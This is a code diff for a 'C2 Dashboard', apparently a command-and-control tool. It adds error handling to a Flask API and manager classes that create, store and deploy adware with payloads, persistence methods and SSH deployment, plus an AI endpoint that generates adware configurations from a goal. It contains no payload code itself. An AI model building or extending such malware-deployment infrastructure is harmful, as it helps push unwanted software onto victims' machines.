Connect all modules and add GUI components

app.py

@@ -125,6 +125,7 @@ def apply_theme(self):
             self.root.tk_setPalette(background='#2e2e2e', foreground='#ffffff', activeBackground='#3e3e3e', activeForeground='#ffffff')
         else:
             self.root.tk_setPalette(background='#ffffff', foreground='#000000', activeBackground='#e0e0e0', activeForeground='#000000')
+        self.add_animations_transitions()
 
     def show_about(self):
         messagebox.showinfo("About", "C2 Dashboard\nVersion 1.0")

config.json

@@ -20,5 +20,22 @@
     "default_language": "en",
     "logging_level": "INFO",
     "log_directory": "logs",
-    "automatic_updates": true
+    "automatic_updates": true,
+    "adware_manager": {
+        "enabled": true,
+        "default_payload": "payload1",
+        "default_deployment_method": "method1"
+    },
+    "ai_integration": {
+        "enabled": true,
+        "model_endpoint": "http://localhost:5001/generate"
+    },
+    "deployment_manager": {
+        "enabled": true,
+        "default_method": "SSH"
+    },
+    "incident_response": {
+        "enabled": true,
+        "default_action": "alert"
+    }
 }

src/adware_dashboard/api/routes.py

@@ -51,7 +51,11 @@ def create_adware():
             )
             return jsonify(AdwareSerializer.serialize(adware)), 201
         except ValueError as e:
+            logger.error(f"Error creating adware: {str(e)}")
             return jsonify({'error': str(e)}), 400
+        except Exception as e:
+            logger.error(f"Unexpected error: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/adware/<int:adware_id>', methods=['GET'])
     def get_adware(adware_id):
@@ -76,49 +80,73 @@ def update_adware(adware_id):
                 return jsonify(AdwareSerializer.serialize(adware)), 200
             return jsonify({'error': 'Adware not found'}), 404
         except ValueError as e:
+            logger.error(f"Error updating adware: {str(e)}")
             return jsonify({'error': str(e)}), 400
+        except Exception as e:
+            logger.error(f"Unexpected error: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/adware/<int:adware_id>', methods=['DELETE'])
     def delete_adware(adware_id):
         """
         Deletes an adware configuration by its ID.
         """
-        if adware_manager.delete_adware(adware_id):
-            return jsonify({'message': 'Adware deleted successfully'}), 200
-        return jsonify({'error': 'Adware not found'}), 404
+        try:
+            if adware_manager.delete_adware(adware_id):
+                return jsonify({'message': 'Adware deleted successfully'}), 200
+            return jsonify({'error': 'Adware not found'}), 404
+        except Exception as e:
+            logger.error(f"Error deleting adware: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/adware', methods=['GET'])
     def list_adware():
         """
         Lists all adware configurations.
         """
-        adware_list = adware_manager.list_adware()
-        return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
+        try:
+            adware_list = adware_manager.list_adware()
+            return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
+        except Exception as e:
+            logger.error(f"Error listing adware: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/adware/<int:adware_id>/deploy', methods=['POST'])
     def deploy_adware(adware_id):
         """
         Deploys an adware configuration.
         """
-        if adware_manager.deploy_adware(adware_id):
-            return jsonify({'message': 'Adware deployed successfully'}), 200
-        return jsonify({'error': 'Adware not found or deployment failed'}), 404
+        try:
+            if adware_manager.deploy_adware(adware_id):
+                return jsonify({'message': 'Adware deployed successfully'}), 200
+            return jsonify({'error': 'Adware not found or deployment failed'}), 404
+        except Exception as e:
+            logger.error(f"Error deploying adware: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/payloads', methods=['GET'])
     def list_payloads():
         """
         Lists all available payloads.
         """
-        payload_list = payload_manager.list_payloads()
-        return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
+        try:
+            payload_list = payload_manager.list_payloads()
+            return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
+        except Exception as e:
+            logger.error(f"Error listing payloads: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/deployment_methods', methods=['GET'])
     def list_deployment_methods():
         """
         Lists all available deployment methods.
         """
-        deployment_method_list = deployment_manager.list_deployment_methods()
-        return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
+        try:
+            deployment_method_list = deployment_manager.list_deployment_methods()
+            return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
+        except Exception as e:
+            logger.error(f"Error listing deployment methods: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     @app.route('/ai/generate', methods=['POST'])
     def generate_ai_config():
@@ -130,6 +158,10 @@ def generate_ai_config():
             config = ai_integration.generate_adware_config(data['goal'], data.get('constraints'))
             return jsonify(config), 200
         except ValueError as e:
+            logger.error(f"Error generating AI config: {str(e)}")
             return jsonify({'error': str(e)}), 400
+        except Exception as e:
+            logger.error(f"Unexpected error: {str(e)}")
+            return jsonify({'error': 'An unexpected error occurred'}), 500
 
     return app

src/adware_dashboard/core/adware_manager.py

@@ -60,6 +60,9 @@ def create_adware(self, name: str, description: str, target_os: str, persistence
         except ValueError as e:
             self.logger.error(f"Error creating adware: {str(e)}")
             raise
+        except Exception as e:
+            self.logger.error(f"Unexpected error creating adware: {str(e)}")
+            raise
 
     def get_adware(self, adware_id: int) -> Adware:
         """
@@ -71,10 +74,14 @@ def get_adware(self, adware_id: int) -> Adware:
         Returns:
             Adware: The adware object, or None if not found.
         """
-        adware = Adware.get_or_none(Adware.id == adware_id)
-        if not adware:
-            self.logger.warning(f"Adware with ID {adware_id} not found.")
-        return adware
+        try:
+            adware = Adware.get_or_none(Adware.id == adware_id)
+            if not adware:
+                self.logger.warning(f"Adware with ID {adware_id} not found.")
+            return adware
+        except Exception as e:
+            self.logger.error(f"Unexpected error retrieving adware with ID {adware_id}: {str(e)}")
+            return None
 
     def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware:
         """
@@ -93,36 +100,43 @@ def update_adware(self, adware_id: int, name: str = None, description: str = Non
         Returns:
             Adware: The updated adware object, or None if not found.
         """
-        adware = self.get_adware(adware_id)
-        if not adware:
-            return None
-
-        if name:
-            adware.name = name
-        if description:
-            adware.description = description
-        if target_os:
-            adware.target_os = target_os
-        if persistence_method:
-            adware.persistence_method = persistence_method
-        if payload_id:
-            payload = self.payload_manager.get_payload(payload_id)
-            if not payload:
-                self.logger.error(f"Payload with ID {payload_id} not found.")
-                raise ValueError(f"Payload with ID {payload_id} not found.")
-            adware.payload = payload
-        if deployment_method_id:
-            deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
-            if not deployment_method:
-                self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
-                raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")
-            adware.deployment_method = deployment_method
-        if config:
-            adware.config = config
+        try:
+            adware = self.get_adware(adware_id)
+            if not adware:
+                return None
+
+            if name:
+                adware.name = name
+            if description:
+                adware.description = description
+            if target_os:
+                adware.target_os = target_os
+            if persistence_method:
+                adware.persistence_method = persistence_method
+            if payload_id:
+                payload = self.payload_manager.get_payload(payload_id)
+                if not payload:
+                    self.logger.error(f"Payload with ID {payload_id} not found.")
+                    raise ValueError(f"Payload with ID {payload_id} not found.")
+                adware.payload = payload
+            if deployment_method_id:
+                deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
+                if not deployment_method:
+                    self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
+                    raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")
+                adware.deployment_method = deployment_method
+            if config:
+                adware.config = config
 
-        adware.save()
-        self.logger.info(f"Adware '{adware.name}' updated successfully.")
-        return adware
+            adware.save()
+            self.logger.info(f"Adware '{adware.name}' updated successfully.")
+            return adware
+        except ValueError as e:
+            self.logger.error(f"Error updating adware: {str(e)}")
+            raise
+        except Exception as e:
+            self.logger.error(f"Unexpected error updating adware: {str(e)}")
+            raise
 
     def delete_adware(self, adware_id: int) -> bool:
         """
@@ -134,13 +148,17 @@ def delete_adware(self, adware_id: int) -> bool:
         Returns:
             bool: True if the adware was deleted, False otherwise.
         """
-        adware = self.get_adware(adware_id)
-        if not adware:
-            return False
+        try:
+            adware = self.get_adware(adware_id)
+            if not adware:
+                return False
 
-        adware.delete_instance()
-        self.logger.info(f"Adware '{adware.name}' deleted successfully.")
-        return True
+            adware.delete_instance()
+            self.logger.info(f"Adware '{adware.name}' deleted successfully.")
+            return True
+        except Exception as e:
+            self.logger.error(f"Unexpected error deleting adware with ID {adware_id}: {str(e)}")
+            return False
 
     def list_adware(self) -> List[Adware]:
         """
@@ -149,8 +167,12 @@ def list_adware(self) -> List[Adware]:
         Returns:
             List[Adware]: A list of all adware objects.
         """
-        adware_list = list(Adware.select())
-        return adware_list
+        try:
+            adware_list = list(Adware.select())
+            return adware_list
+        except Exception as e:
+            self.logger.error(f"Unexpected error listing adware: {str(e)}")
+            return []
 
     def deploy_adware(self, adware_id: int) -> bool:
         """
@@ -162,11 +184,11 @@ def deploy_adware(self, adware_id: int) -> bool:
         Returns:
             bool: True if the adware was deployed, False otherwise.
         """
-        adware = self.get_adware(adware_id)
-        if not adware:
-            return False
-
         try:
+            adware = self.get_adware(adware_id)
+            if not adware:
+                return False
+
             self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config)
             self.logger.info(f"Adware '{adware.name}' deployed successfully.")
             return True

src/gui.py

@@ -20,9 +20,9 @@
 from src.dashboard_update_manager import DashboardUpdateManager
 from src.alerts_notifications import AlertsNotifications
 from src.automated_incident_response import AutomatedIncidentResponse
-from src.adware_manager import AdwareManager
-from src.ai_integration import AIIntegration
-from src.deployment_manager import DeploymentManager
+from src.adware_dashboard.core.adware_manager import AdwareManager
+from src.adware_dashboard.core.ai_integration import AIIntegration
+from src.adware_dashboard.core.deployment_manager import DeploymentManager
 
 class C2Dashboard:
     def __init__(self, root):